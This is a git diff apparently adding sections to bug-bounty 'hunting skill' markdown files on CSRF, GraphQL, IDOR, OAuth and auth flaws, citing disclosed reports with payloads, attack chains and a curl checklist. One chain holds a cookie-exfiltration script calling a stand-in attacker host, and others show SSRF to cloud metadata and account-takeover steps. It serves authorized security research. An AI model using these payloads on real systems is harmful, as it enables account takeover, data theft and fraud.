+ - Root cause: 2022-02-14 deploy inadvertently turned off CSRF middleware across all Stripe Dashboard endpoints
+ - Year: 2022 — **$5,000** ($2,500 × 2 researchers)
+
+14. **GitHub Enterprise Server — CSRF bypass via path traversal (CVE-2022-23732)** ([H1 #1497169](https://hackerone.com/reports/1497169))
+ - Subclass: CSRF token validation bypass (path traversal smuggles request past token check)
+ - Payload: `<form method=POST action="https://ghes.victim.com/setup/api/start/..%2f..%2fadmin%2fusers"><input name=login value=attacker></form>`
+ - Root cause: router matched the post-traversal path for execution but pre-traversal path for CSRF-protection scope, so the protected endpoint was reached without a valid token
+ - Year: 2022 — **$10,000**
+
+15. **HackerOne self — CSRF on social account linking → ATO** ([H1 #1727221](https://hackerone.com/reports/1727221))
+ - Subclass: account-link CSRF (social provider attach without state binding)
+ - Payload: `<img src="https://hackerone.com/users/social_accounts/google?code=ATTACKER_CODE&state=PREDICTABLE">` — victim's browser completes attacker-initiated link flow
+ - Root cause: token bound to OAuth-link callback was either reused across attempts or not user-bound, so attacker-issued link callbacks were accepted on the victim's session — attacker's Google account becomes a valid login path = ATO
+ - Year: 2022 — informational scope on H1 self-program, but public PoC
+
+---
+
+## Duende BFF — Role-Partitioned Antiforgery (2024-2026 surface)
+
+Duende BFF (commercial successor to IdentityServer4) is the canonical ASP.NET Core BFF library for SPAs. Its antiforgery primitive is **non-standard and not user-bound**: instead of ASP.NET Core's per-session/per-user double-submit token, Duende only requires the presence of a **static header `X-CSRF: 1`** on every BFF-mapped endpoint. The header value is identical for every caller; it exists only to force a CORS preflight on cross-origin calls. This collapses CSRF defence to "same-origin + session cookie present" — and produces several distinct attack patterns when one BFF serves multiple privilege partitions.
+
+**Architecture primer:** browser↔BFF authenticates via an encrypted HttpOnly session cookie (default `.AspNetCore.Cookies`); BFF↔API uses OAuth tokens cached server-side. Endpoints registered via `MapBffManagementEndpoints` / `MapRemoteBffApiEndpoint` / `MapBffApiEndpoint` enforce `X-CSRF: 1` and session presence — nothing else. ([docs.duendesoftware.com/bff](https://docs.duendesoftware.com/bff/), [Duende blog Mar 2025](https://duendesoftware.com/blog/20250325-understanding-antiforgery-in-aspnetcore))
+
+### Attack class 1 — `X-CSRF: 1` is not user-bound, so cross-role replay succeeds same-origin
+
+When a single BFF serves `/admin/*` and `/user/*` partitions, the antiforgery primitive cannot distinguish role-A from role-B. Any same-origin script that can land an XHR with `X-CSRF: 1` and the victim's session cookie reaches admin endpoints if the victim has the admin role. Stock ASP.NET Core antiforgery (which binds the token to `HttpContext.User.Identity.Name` and rejects on identity change) does the right thing here; Duende BFF does not. ([docs.duendesoftware.com/bff/fundamentals/options](https://docs.duendesoftware.com/bff/fundamentals/options/))
+
+**Payload shape:** from a logged-in low-priv session, `fetch('/bff/admin/users/delete?id=42', {credentials:'include', headers:{'X-CSRF':'1'}})` — succeeds if the victim's session happens to hold the admin role and the attacker can land any same-origin script (self-XSS, subdomain-takeover JS, dependency-confusion).
+
+### Attack class 2 — SignalR/WebSocket carve-out (the `/negotiate` shortcut)
+
+Browser WebSockets cannot send custom headers, so `X-CSRF: 1` cannot be enforced on the upgrade. Developers routinely work around this by **excluding SignalR hub paths from BFF antiforgery** (`MapHub<X>().DisableAntiforgery()` or registering them as non-BFF endpoints). Once excluded, any same-site origin (including a takenover sibling subdomain or a stored-XSS page) can open the WS with the ambient session cookie → CSRF-over-WebSocket to invoke hub methods that mutate state.
+
+**Payload shape:** cross-origin page opens `new WebSocket("wss://bff.example.com/hubs/admin")` — browser sends session cookie, no `X-CSRF` required, attacker invokes `DeleteUser(id)` via standard SignalR JSON frame. ([DuendeArchive/Support#972](https://github.com/DuendeArchive/Support/issues/972), [learn.microsoft.com/aspnet/core/signalr/security](https://learn.microsoft.com/en-us/aspnet/core/signalr/security))
+
+### Attack class 3 — Cookie-domain wildcarding turns subdomain takeover into session fixation
+
+BFF session cookies default to host-only, but developers commonly override with `options.Cookie.Domain = ".example.com"` to share login across `app.example.com` and `admin.example.com`. This drops the `__Host-` prefix protection. Take over `legacy.example.com` (CNAME to deprovisioned Heroku/S3) → set `Set-Cookie: .AspNetCore.Cookies=<attacker_session>; Domain=.example.com` → victim hits `app.example.com` carrying attacker's session = session-fixation ATO. ([nestenius.se BFF cookie hardening](https://nestenius.se/net/bff-in-asp-net-core-3-the-bff-pattern-explained/))
+
+### Evidence strength
+
+No Duende.BFF-direct CVE exists as of 2026-05. The three classes above are **design-level / documented behaviour** that becomes a live finding when paired with a co-resident primitive (same-origin script execution, SignalR carve-out, or subdomain takeover). Report severity should lean on the chain's business impact rather than CVE citation. Adjacent confirmed CVEs in the Duende ecosystem: CVE-2025-26620 (`Duende.AccessTokenManagement` race), CVE-2024-51987 (`Duende.AccessTokenManagement.OpenIdConnect` incorrect-token-after-refresh), CVE-2024-39694 (`Duende.IdentityServer` open redirect). ([Duende advisories on GitHub](https://github.com/advisories?query=duende))
+
+### Hunting checklist
+
+1. `curl https://target/bff/user -H 'X-CSRF: 1' -b '<session>'` — dumps the full claim set including internal IDs, role names, tenant IDs (info disclosure on its own).
+2. Inspect `Set-Cookie` on `/bff/login` callback — flag `Domain=` attribute (vs `__Host-` prefix); flag missing `Secure`/`HttpOnly`.
+3. From a low-priv session, replay admin-partition POSTs with `X-CSRF: 1` to confirm no per-role token binding.
+4. Enumerate SignalR/WS hubs (`/hubs/*`, `/signalr/*`) — open without `X-CSRF`; if 101 Switching Protocols, CSWSH-style attacks viable.
+5. Subdomain inventory + DNS-takeover scan for any `*.example.com` if BFF cookie has `Domain=.example.com`.
+
+---
+
## Related Skills & Chains
- **`hunt-xss`** — Any XSS on a trusted origin neutralizes CSRF defenses (token, SameSite, Origin check) instantly. Chain primitive: XSS reads the `meta[name=csrf-token]` value and same-origin-fetches `/accounts/email` with attacker payload → one-click ATO via attacker-page postMessage triggering the stored XSS to perform the state change.
diff --git a/skills/hunt-graphql/SKILL.md b/skills/hunt-graphql/SKILL.md
index a8188fb..c4747df 100644
--- a/skills/hunt-graphql/SKILL.md
+++ b/skills/hunt-graphql/SKILL.md
@@ -1,8 +1,8 @@
---
name: hunt-graphql
-description: Hunting skill for graphql vulnerabilities. Built from 3 public bug bounty reports. Use when hunting graphql on any target.
-sources: hackerone_public
-report_count: 3
+description: Hunting skill for graphql vulnerabilities. Built from 12 public bug bounty reports across IDOR via node() / GID, mutation IDOR including AI/LLM features, cross-tenant IDOR, SSRF via argument, batching-DoS, query-cost-bypass, SQLi via argument, broken-object-level-authz, auth-bypass via unscoped mutations, and PII exposure from missing field-level authz. Use when hunting graphql on any target.
+sources: hackerone_public, github, gitlab_security
+report_count: 12
---
## Crown Jewel Targets
@@ -277,6 +277,66 @@ On a platform where introspection is intentionally enabled (per-program rules),
---
+## Disclosed Report Citations (Backfill +9 — 2019-2024)
+
+The following real, verified bug-bounty / coordinated-disclosure cases extend this skill beyond the original 3 internal references. Each is a distinct GraphQL subclass with a working PoC documented in the cited writeup.
+
+4. **HackerOne — Confidential user-data exposure via GraphQL `User` type** ([H1 #489146](https://hackerone.com/reports/489146))
+ - Subclass: broken field-level authorization (PII exposure)
+ - Payload: direct `user(id:...)` query returning `email`, `backup_codes_hash`, `facebook_user_id`, `account_recovery_phone_number_verified_at`, `totp_enabled`
+ - Root cause: backend migration introduced a GraphQL `User` type with no field-level authz; any authenticated user could enumerate PII of all users
+ - Year: 2019 — **$20,000**, 1,028 upvotes
+
+5. **HackerOne — `DestroyLlmConversation` mutation IDOR (Copilot pre-release)** ([H1 #2218334](https://hackerone.com/reports/2218334))
+ - Subclass: mutation IDOR on AI/LLM feature
+ - Payload: `mutation { destroyLlmConversation(input:{id:"<victim_conv_id>"}) { … } }`
+ - Root cause: new LLM-conversation mutation shipped without authorization decorator; any user could destroy any conversation
+ - Year: 2023 — caught pre-launch, no bounty (202 upvotes)
+
+6. **Shopify — `BillingDocumentDownload` cross-tenant IDOR** ([H1 #2207248](https://hackerone.com/reports/2207248))
+ - Subclass: IDOR on relay GID across tenants
+ - Payload: `query { billingDocumentDownload(id:"gid://shopify/BillingInvoice/<other_shop_id>") { url } }`
+ - Root cause: `BillingInvoice` resolver authorized the requester's shop but did not verify the invoice belonged to that shop
+ - Year: 2024 — **$5,000**, 175 upvotes
+
+7. **Shopify — Rate-limit bypass via negative cost** ([H1 #481518](https://hackerone.com/reports/481518))
+ - Subclass: query-cost-calc abuse (sibling pattern to alias batching)
+ - Payload: `query { products(first:-100) { … } }` — negative `first` produced a negative query-cost contribution, refilling the leaky-bucket each call
+ - Root cause: query-cost calculator did not floor at zero; negative values subtracted from the consumed budget
+ - Year: 2019 — **$1,000**
+
+8. **Stripe — Cross-tenant IDOR via `UpdateAtlasApplicationPerson`** ([H1 #1066203](https://hackerone.com/reports/1066203))
+ - Subclass: cross-tenant IDOR on mutation
+ - Payload: `mutation { updateAtlasApplicationPerson(input:{personId:"<victim_person_id>", …}) }` — adding/modifying a co-founder on another merchant's Stripe Atlas application
+ - Root cause: mutation scoped only to "is admin of some merchant," not "is admin of the merchant owning this person"
+ - Year: 2020 — bounty undisclosed (resolved)
+
+9. **EXNESS — SSRF in GraphQL `allTicks` query** ([H1 #1864188](https://hackerone.com/reports/1864188))
+ - Subclass: SSRF via GraphQL argument
+ - Payload: `query { allTicks(source:"http://169.254.169.254/latest/meta-data/") { … } }` — `source` arg fed into a server-side HTTP client
+ - Root cause: GraphQL field accepted a URL arg and dereferenced it without scheme/host allowlist
+ - Year: 2023 — **$3,000**, 249 upvotes
+
+10. **EXNESS — GraphQL attribute-batching DoS** ([H1 #2293642](https://hackerone.com/reports/2293642))
+ - Subclass: DoS via batching / deep-attribute amplification on unauth endpoint
+ - Payload: single HTTP request containing N batched operations, each requesting deeply nested attribute trees, sustained until origin OOM
+ - Root cause: no query-depth, query-complexity, or batch-size limits on unauthenticated `/graphql`
+ - Year: 2024 — bounty undisclosed (resolved)
+
+11. **GitLab — Malicious-runner attach via `runnerUpdate` (CVE-2023-2478)** ([Advisory](https://about.gitlab.com/releases/2023/05/05/critical-security-release-gitlab-15-11-2-released/))
+ - Subclass: auth bypass on mutation / project-scope missing
+ - Payload: `mutation { runnerUpdate(input:{id:"<attacker_runner_gid>", associatedProjects:["<victim_project_gid>"]}) }`
+ - Root cause: `runnerUpdate` did not check that the caller had Maintainer on the target project — any user could bind their malicious runner and intercept CI jobs (build secrets, code execution)
+ - Year: 2023 — Critical, CVSS 9.6 (H1 bounty undisclosed; GitLab Critical-tier typically $20k–$35k)
+
+12. **AS Watson — Auth bypass via unrestricted `createAdminUser` mutation** ([HackerOne blog](https://www.hackerone.com/blog/how-graphql-bug-resulted-authentication-bypass))
+ - Subclass: sensitive mutation reachable without authentication (introspection-aided discovery)
+ - Payload: `mutation { createAdminUser(input:{email:"x@x", role:"ADMIN", password:"…"}) { token } }` invoked unauthenticated after schema enumeration via introspection
+ - Root cause: schema lacked per-field authorization directives; `createAdminUser` exposed to public role
+ - Year: 2023 — "Best Bug" prize at HackerOne Ambassador World Cup
+
+---
+
## Related Skills & Chains
- **`hunt-idor`** — GraphQL `node(id:)` and global-relay-ID resolvers are IDOR factories: same shape, no scoping. Chain primitive: GraphQL introspection + IDOR (`node()` resolver) → cross-tenant data via base64-decoded type:id replay.
diff --git a/skills/hunt-idor/SKILL.md b/skills/hunt-idor/SKILL.md
index d9d870e..117c233 100644
--- a/skills/hunt-idor/SKILL.md
+++ b/skills/hunt-idor/SKILL.md
@@ -315,6 +315,71 @@ An attacker accesses another user's private message threads by substituting thei
---
+## Chains & Compositions (Senior Hunting)
+
+Standalone IDOR gets paid at Low-Medium for cross-tenant *read*. The real money is in chaining IDOR to a *state-change* primitive that doesn't normally permit cross-tenant action — turning "I can see victim's data" into "I own victim's account". The six chains below are the highest-paying IDOR compositions on modern bug-bounty programs.
+
+### Chain 1 — IDOR on `/api/users/{id}/email` + Missing Re-Auth → Password Reset → ATO
+
+- **A.** Confirm IDOR on the email-change endpoint — request `PUT /api/users/{victim_id}/email {"email":"attacker@evil"}` from attacker's session; server changes the victim's email without ownership check.
+- **B.** Hit the password-reset flow on the victim's account — server emails reset link to the **new** email (attacker's).
+- **C.** Open reset link, set new password, log in as victim.
+- **Impact:** Silent ATO — victim sees no email change notification because the change happens via API not via the user-facing "change email" UI which has its own audit log.
+- **Real shape:** Classic ATO pattern across many SaaS bug-bounty disclosures 2018-2024. Cross-refs `hunt-ato` Path 2 (email change without re-auth).
+
+### Chain 2 — IDOR on File-Download + Filename-Controlled `Content-Disposition` → Reflected-XSS-Via-Download → Session Theft
+
+- **A.** IDOR on `/api/files/{id}/download` returns any user's file given the ID.
+- **B.** The download endpoint sets `Content-Disposition: attachment; filename="<user-supplied-filename>"` without sanitising newlines or quotes — attacker uploads a file with filename `"; <script>fetch('https://attacker/x?c='+document.cookie)</script>; foo.txt`.
+- **C.** Victim navigates to download → browser interprets the injected script in the response header context as HTML → JS runs same-origin → cookie/token exfil.
+- **Impact:** ATO via IDOR + filename-controlled response header — neither primitive alone is critical; the chain is.
+- **Real shape:** Multiple disclosed cases involving Office 365 SharePoint download endpoints, GitLab attachment downloads, SaaS export endpoints. Pairs with `hunt-xss` Chain 1 (response-header XSS class).
+
+### Chain 3 — IDOR via GraphQL `node(id:)` GID + Relay Relation Traversal → Cross-Tenant Mass Data Extraction
+
+- **A.** Target uses GraphQL with Relay-style global IDs (`gid://shopify/Customer/<n>` or base64-encoded `type:id` patterns).
+- **B.** `node(id:"<victim_gid>") { ... on Customer { email orders { totalPrice paymentMethods { cardLast4 } } } }` — the top-level `node()` resolver auths the requester, but nested relations don't re-check ownership against the resolved Customer.
+- **C.** Iterate IDs (decoding base64 to extract numeric, incrementing) to exfil emails, order totals, payment methods across the entire customer base.
+- **Impact:** Mass cross-tenant PII / financial data extraction. Single bug, full database.
+- **Real shape:** Shopify Billing IDOR H1 #2207248 ($5,000); HackerOne PolicyPageAssetGroup IDOR H1 #1618347 ($25,000). Cross-refs `hunt-graphql` Disclosed Report Citation #5 and #2.
+
+### Chain 4 — IDOR on `/api/teams/{id}/members` + Mass-Assignment in Body → Role Escalation on Victim Team
+
+- **A.** Standard horizontal IDOR — `POST /api/teams/{victim_team_id}/members {"email":"attacker@evil"}` adds attacker as a normal member without ownership check.
+- **B.** The body accepts additional fields the API didn't filter: `{"email":"attacker@evil", "role":"OWNER", "permissions":["*"]}` — mass assignment leaks into the role field.
+- **C.** Attacker is added to the victim team as OWNER. Now has full admin access to the victim team's resources and can remove the real owners.
+- **Impact:** Cross-tenant privilege escalation via IDOR + mass assignment. The single most efficient takeover chain on SaaS team-management APIs.
+- **Real shape:** Shopify undocumented `fileCopy` mutation H1 #981472 (2020, $2,000); Stripe `UpdateAtlasApplicationPerson` cross-tenant mutation H1 #1066203 (2020). Cross-refs `hunt-graphql` Disclosed Report Citation #7 and #8; pairs with `hunt-api-misconfig` Mass Assignment section.
+
+### Chain 5 — Soft-Delete IDOR + Post-Removal Token Validity → Persistent Cross-Tenant Access
+
+- **A.** Identify the "remove member" endpoint that flips an `active=false` flag but doesn't invalidate the session/PAT.
+- **B.** Log in as the to-be-removed user; capture session cookie or PAT.
+- **C.** Have the org admin remove the user via the normal flow. Wait. Re-issue API calls using the captured token — IDOR is now *temporal* (the user no longer has permission per the policy table, but the cached auth context still passes).
+- **Impact:** Weeks of post-termination cross-tenant access; GDPR/CCPA breach exposure; potential extortion leverage.
+- **Real shape:** Shopify removed-staff persistence class (2022). Cross-refs `hunt-misc` Chain 1 — same root cause shape, different starting primitive.
+
+### Chain 6 — Double-IDOR (`/users/{id}/orders → /orders/{order_id}/refund`) → Financial Impact on Victim Merchant
+
+- **A.** First IDOR: `GET /api/users/{victim_id}/orders` returns the victim's order list without ownership check — yields legitimate `order_id` values.
+- **B.** Second IDOR: `POST /api/orders/{order_id}/refund` issues refunds without checking that the requester owns the merchant/order.
+- **C.** Trigger refund on each of the victim merchant's recent orders. Money moves from merchant to customer (who is also attacker-controlled).
+- **Impact:** Direct financial loss to the victim merchant. Mass-exploitable across the platform's merchant base.
+- **Real shape:** Multiple disclosed e-commerce platform IDOR chains 2019-2023. Cross-refs `hunt-business-logic` Chain (financial impact via state-machine confusion).
+
+### Operator-level pattern
+
+When you confirm a read-IDOR at A, immediately ask: *what state-change accepts the same ID and might also be IDOR'd?* The chain is usually one of: (1) password reset / email change at terminal step → ATO; (2) refund / withdraw / transfer → financial; (3) role-change / membership-add → privilege escalation. If your read-IDOR doesn't compose to one of those, the standalone payout is what you get. Hunt for both halves — the second is often easier to find because it shares the same auth bug class as the first.
+
+Cross-references:
+- `hunt-ato` — Chain 1, 5
+- `hunt-xss` — Chain 2
+- `hunt-graphql` — Chains 3, 4
+- `hunt-misc` — Chain 5
+- `hunt-business-logic` — Chain 6
+
+---
+
## Related Skills & Chains
- **`hunt-auth-bypass`** — Object-level authorization failure plus route-level auth absence is the canonical IDOR-amplifier. Chain primitive: missing `req.user.id` scoping in ORM query + missing middleware on legacy `/v1/` route = unauthenticated cross-tenant data read via direct ID substitution → bulk PII dump without any session at all.
diff --git a/skills/hunt-misc/SKILL.md b/skills/hunt-misc/SKILL.md
index be1b29f..ce48e1c 100644
--- a/skills/hunt-misc/SKILL.md
+++ b/skills/hunt-misc/SKILL.md
@@ -260,6 +260,69 @@ An attacker targeting a GitHub Enterprise instance with SAML SSO enabled crafts
---
+## Chains & Compositions (Senior Hunting)
+
+A checklist tells you what to look for one bug at a time. Senior work composes primitives into multi-step engagements that reach impact. Each chain below is built from existing primitives in this skill's methodology and root causes — paired with a secondary primitive from a neighbouring skill. The pattern across them all: **the secondary primitive is what produces impact**. A standalone soft-delete IDOR is N/A; pair it with a session-store that doesn't invalidate, and it's High.
+
+### Chain 1 — Soft-Delete + Post-Removal Session Persistence → Cross-Tenant PII
+
+- **A.** Identify a "remove member" endpoint that flips an `active=false` flag or deletes a membership row but does NOT invalidate the user's session or revoke their issued tokens (root cause #1: soft deletes without permission invalidation).
+- **B.** Log in as the to-be-removed staff member; capture the session cookie / PAT.
+- **C.** Have the org admin remove the user via the normal flow. Wait. Re-issue the same API calls (`GET /admin/orders`, `GET /admin/payouts`, `GET /admin/customers`) using the captured token.
+- **Impact:** API calls keep succeeding for days or weeks post-removal — cached permission checks pass the old auth context. GDPR/CCPA breach exposure; potential extortion leverage; competitive intelligence theft.
+- **Real shape:** Shopify removed-staff session persistence class (2022); GitLab cached-permissions-after-removal class. Pairs with `hunt-ato` Path 5 (session-fixation).
+
+### Chain 2 — Invitation Token Reuse + Skipped Verification → Privileged Role Injection
+
+- **A.** Receive an invitation link for a low-privilege role at the target.
+- **B.** Before completing email verification, POST the invitation token from a different session (incognito browser / anonymous request).
+- **C.** Server grants the invited role without re-verifying that the consuming session matches the invited email — new identity inherits the invitation's scope.
+- **Impact:** Privilege-escalated foothold without owning the invited email address. For partner-portal invitations (where a partner-tier role manages hundreds of downstream merchants), this is the Shopify Partners-class Critical.
+- **Real shape:** Multiple H1 Shopify Partners disclosures 2020-2022 (root cause #2). Pairs with `hunt-auth-bypass` step 7 (invitation flow verification).
+
+### Chain 3 — CRLF in Ruby Header + Cache Poisoning → Mass Stored XSS at CDN Scale
+
+- **A.** Identify CRLF injection in a Ruby `Net::HTTP` / Rack response header — user-controlled value flows into `Location:` or a custom `X-*` header (root cause #7: Ruby header injection via string interpolation).
+- **B.** Inject `%0d%0aSet-Cookie: session=attacker` or a duplicate `Cache-Control: public, max-age=3600` that pollutes the cache-key normalisation across CDN tiers.
+- **C.** Cache stores the poisoned response for the full max-age. Every CDN-edge visitor in the affected geo receives the attacker's `Set-Cookie` or attacker-controlled body.
+- **Impact:** Cross-customer XSS / session fixation at full CDN scale; persistent until cache TTL expires; affects every visitor to that path.
+- **Real shape:** GitLab CRLF + cache poisoning chain (H1 #1160407 / Iustin Ladunca, 2021); Rack 3 behavioural-change ecosystem advisories (2022-2023). Pairs with `hunt-cache-poison` citation #7 and #10 (Akamai hop-by-hop class).
+
+### Chain 4 — SAML XSW + Parser Differential → Admin Claim Injection → SSO ATO
+
+- **A.** Capture a valid SAMLResponse via the legitimate auth flow (Burp filter for `SAMLResponse=` POST bodies on `/saml/acs` or `/Shibboleth.sso`).
+- **B.** Inject a sibling `<Assertion>` element so the signature-checker XML parser (REXML/Xerces) resolves a different node than the business-logic XML parser (Nokogiri/JAXP). Sign the outer benign assertion; embed `<NameID>admin@victim</NameID>` in the unsigned inner assertion.
+- **C.** SP signature validates against the outer element; SP business logic reads the inner one; admin role assumed without password or MFA.
+- **Impact:** Full enterprise SSO compromise. Every SAML-gated app inherits the spoofed admin identity for the session lifetime.
+- **Real shape:** GitHub Enterprise CVE-2025-25291 / CVE-2025-25292 (parser differential, 2025); samlify CVE-2025-47949. Cross-refs `hunt-auth-bypass` Disclosed Report Citation #5 and #7, and root cause #5 (SAML XML parsing quirks).
+
+### Chain 5 — Token-Scope Check at Issuance, Not at Use → Cross-Tenant Write via Low-Scope PAT
+
+- **A.** Create a personal access token / OAuth token with `read:user` scope only. Confirm via `GET /api/me/tokens`.
+- **B.** Call a write endpoint that should require `write:*` (e.g. `DELETE /repos/{org}/{repo}/issues/{n}`). Server checks "is authenticated" via middleware but the individual handler doesn't re-verify the PAT's scope subset.
+- **C.** Write action succeeds despite the token being read-only.
+- **Impact:** PAT scope model is functionally broken — every read-only token is write-equivalent on the affected endpoints. Mass-exploitable across the userbase by anyone with a leaked PAT.
+- **Real shape:** GitHub PAT scope-at-issuance-not-at-use class (root cause #3). Pairs with step 4 (PAT scope enforcement fuzzing) and `hunt-api-misconfig` JWT scope bypasses.
+
+### Chain 6 — Subdomain Takeover at OAuth `redirect_uri` Allowlist → Auth-Code Theft → ATO
+
+- **A.** Enumerate OAuth `redirect_uri` allowlist via the `/oauth/authorize` flow; note any wildcard `*.target.com` or takeover-candidate hostname in the static list.
+- **B.** Find a takeover-able subdomain (`legacy.target.com` CNAME'd to deleted Vercel project / Heroku app / S3 bucket — `hunt-subdomain` step 1).
+- **C.** Claim the subdomain. Host an OAuth callback receiver. Send victim to `/oauth/authorize?redirect_uri=https://legacy.target.com/cb&response_type=code&...`. Auth code lands on attacker host. Exchange via token endpoint. ATO.
+- **Impact:** Persistent 1-click ATO every time the OAuth flow runs against the affected client.
+- **Real shape:** Microsoft Azure DevOps `cloudapp.azure.com` + wildcard `*.visualstudio.com` reply_to chain (Binary Security, Nov 2022). Cross-refs `hunt-subdomain` Disclosed Report Citation #12.
+
+### Operator-level pattern
+
+When you confirm a misc primitive at A, **immediately** ask: what state-machine, cache layer, sibling endpoint, or auth-state-skew can amplify it? The first primitive is the entry pass. The chain is the deliverable. Every Workstream-A skill citation in this bundle pairs with at least one chain shape above:
+- `hunt-auth-bypass` — Chains 2, 4, 5
+- `hunt-cache-poison` — Chain 3
+- `hunt-saml` — Chain 4
+- `hunt-subdomain` — Chain 6
+- `hunt-ato` — Chains 1, 2, 5, 6 (all terminal-impact paths)
+
+---
+
## Related Skills & Chains
- **`hunt-saml`** — SAML signature wrapping (XSW1–XSW8) is the canonical "misc auth" critical. Chain primitive: SAML XSW + `hunt-saml` AttributeStatement injection → NameID swap → ATO of victim admin via SSO with no password.
diff --git a/skills/hunt-oauth/SKILL.md b/skills/hunt-oauth/SKILL.md
index 847b025..3585635 100644
--- a/skills/hunt-oauth/SKILL.md
+++ b/skills/hunt-oauth/SKILL.md
@@ -1,8 +1,8 @@
---
name: hunt-oauth
-description: Hunting skill for oauth vulnerabilities. Built from 10 public bug bounty reports. Use when hunting oauth on any target.
-sources: github, hackerone_public
-report_count: 10
+description: Hunting skill for oauth vulnerabilities. Built from 19 public bug bounty reports. Use when hunting oauth on any target.
+sources: github, hackerone_public, salt_labs, descope, detectify_labs, harel_research
+report_count: 19
---
## Crown Jewel Targets
@@ -290,6 +290,72 @@ The OAuth callback page for Facebook login lands users at a URL containing the `
---
+## Disclosed Report Citations (Backfill +9 — 2020-2024)
+
+The following real, verified bug-bounty / coordinated-disclosure cases extend this skill beyond the original 10 internal references. Each is a distinct OAuth subclass with a working PoC documented in the cited writeup.
+
+11. **Semrush — IDN-homograph redirect_uri bypass** ([H1 #861940](https://hackerone.com/reports/861940))
+ - Subclass: `redirect_uri` bypass via Unicode-confusable host (homograph)
+ - Payload: `redirect_uri=https://oauth.šemrush.com/cb` (punycode `xn--emrush-9jb.com`) — passed Latin-only string check on validator
+ - Root cause: server validates `redirect_uri` host as ASCII-string equality but does not normalize Unicode → confusables → punycode before compare
+ - Disclosure: 2020, public bounty (amount not disclosed); discoverer Yassine Aboukir
+
+12. **Bohemia Interactive — redirect_uri filter bypass (BiStudio)** ([H1 #405100](https://hackerone.com/reports/405100))
+ - Subclass: `redirect_uri` validation bypass → OAuth token exfiltration
+ - Payload: redirect_uri crafted to defeat the regex/prefix filter and land tokens on attacker host; reporter chained the bypass to a full token-leak PoC
+ - Root cause: weak redirect_uri filter that accepted attacker-controlled host while still matching the intended pattern
+ - Year: 2018-disclosed; remains a canonical example of regex-redirect_uri-bypass cited in subsequent reports
+
+13. **pixiv — path-traversal in OAuth `redirect_uri`** ([H1 #1861974](https://hackerone.com/reports/1861974))
+ - Subclass: path-traversal `redirect_uri` bypass → authorization-code leakage
+ - Payload: `redirect_uri=https://legit.pixiv.host/legit/../../attacker/cb` — server normalized after validation
+ - Root cause: validator inspected raw string; downstream HTTP/browser handled `../` traversal and emitted code to attacker path
+ - Disclosure: 2023, **$2,000 bounty**, 244 upvotes — confirmed paid
+
+14. **Slack — OAuth2 redirect_uri bypass (domain-suffix)** ([H1 #2575](https://hackerone.com/reports/2575))
+ - Subclass: `redirect_uri` validation bypass via domain-suffix / subdomain confusion
+ - Payload: redirect_uri using a domain that suffix-matched the registered host (e.g., `slack.com.attacker.com`) defeated the suffix-only check
+ - Root cause: `endsWith()` / suffix-match instead of strict host equality
+ - Disclosure: 2013 (foundational case still cited in modern OAuth training material) — Slack public bounty
+
+15. **Booking.com (Facebook social-login)** ([Salt Labs writeup](https://salt.security/blog/traveling-with-oauth-account-takeover-on-booking-com))
+ - Subclass: three-step chain — open-redirect on whitelisted domain + redirect_uri bypass + `response_type` swap → Facebook OAuth code/token theft → ATO
+ - Payload: authorize URL with `redirect_uri=https://account.booking.com/<open-redirect>?next=https://attacker.tld/cb` and `response_type` toggled to leak tokens via fragment
+ - Root cause: validator trusted any path under `account.booking.com`; open redirect on that host bounced the auth code to attacker
+ - Disclosure: March 2023 — coordinated disclosure, no public bounty figure (~500M MAU exposure)
+
+16. **Expo.io (`expo-auth-session`) — CVE-2023-28131** ([Salt Labs writeup](https://salt.security/blog/a-new-oauth-vulnerability-that-may-impact-hundreds-of-online-services))
+ - Subclass: scope-creep / unvalidated `returnUrl` parameter → cross-app OAuth-code theft (impacts every consumer of expo-auth-session social login)
+ - Payload: attacker passes `returnUrl=https://attacker.tld` to the OAuth proxy → Expo blindly forwards Facebook/Google/Apple/Twitter code to attacker
+ - Root cause: framework-level OAuth proxy did not validate `returnUrl` host before forwarding the social-IdP callback
+ - Disclosure: May 2023; CVSS 9.6; fixed Feb 2023 hotfix + deprecated by Feb 26 2023
+
+17. **Microsoft Azure AD multi-tenant — "nOAuth"** ([Descope writeup](https://www.descope.com/blog/post/noauth))
+ - Subclass: cross-IdP account-takeover via unverified, mutable `email` claim ("Pass-The-Token" equivalent)
+ - Payload: attacker sets Azure AD admin profile `mail` attribute to victim's address → clicks "Log in with Microsoft" on relying party that keys users by email claim → instant ATO
+ - Root cause: Microsoft `email` claim is mutable + unverified; RPs treated it as primary identifier
+ - Disclosure: April 11 2023 reported, fixed June 20 2023 (mitigations + new `xms_edov` claim)
+
+18. **Grammarly / Vidio / Bukalapak — "Pass-The-Token" social-login** ([Salt Labs writeup](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts))
+ - Subclass: missing audience / `aud` validation on Facebook access_token → cross-client token replay → ATO
+ - Payload: attacker obtains Facebook token issued for `attacker.app` → replays the token to Grammarly/Vidio/Bukalapak login API → server fetches FB user via `/me`, finds victim's email, issues victim session
+ - Root cause: relying party calls Facebook `/me` with attacker-issued token but never validates the token's `app_id` belongs to the RP
+ - Disclosure: October 2023 — coordinated, ~1B account exposure across the three sites
+
+19. **Zoom — OAuth "dirty dancing" chained ATO** ([Harel Security writeup](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html))
+ - Subclass: `response_type=token` swap + lax `postMessage` origin check + cookie-tossing → authorization-code leak via web_message response mode → ATO + cam/mic hijack
+ - Payload: attacker page opens Zoom OAuth with `response_type=code&response_mode=web_message`, intercepts the resulting `postMessage` because window listener accepts any `*.zoom.us` origin → exchanges code for session
+ - Root cause: combination of weak postMessage origin check, missing CSRF binding on `state`, and `response_mode=web_message` returning code to a parent window without exact-origin enforcement
+ - Disclosure: reported Oct 2023, fixed Jan 2024, **$15,000 bounty** (Sudi / BrunoZero / H4R3L)
+
+20. **Detectify Labs — "Dirty Dancing" multi-vendor OAuth token leakage** ([Detectify writeup, F. Rosén](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/))
+ - Subclass: response-type switching + invalid-state quirks + 3rd-party JS gadget chains → OAuth code/token leakage with NO XSS required
+ - Payload: attacker forces `response_type=token` on an endpoint that only validated `code`; combines with promiscuous postMessage listeners and URL-storage gadgets on the callback page to siphon tokens via cross-origin reads
+ - Root cause: OAuth server tolerates response_type downgrade/swap; callback page leaks `window.location` via permissive postMessage receivers
+ - Disclosure: July 2022 — multi-vendor (Apple, Microsoft, Slack et al.); PortSwigger Top 10 Web Hacks 2022 #1
+
+---
+
## Browser-parse vs server-parse — redirect_uri prefix-match bypass shapes
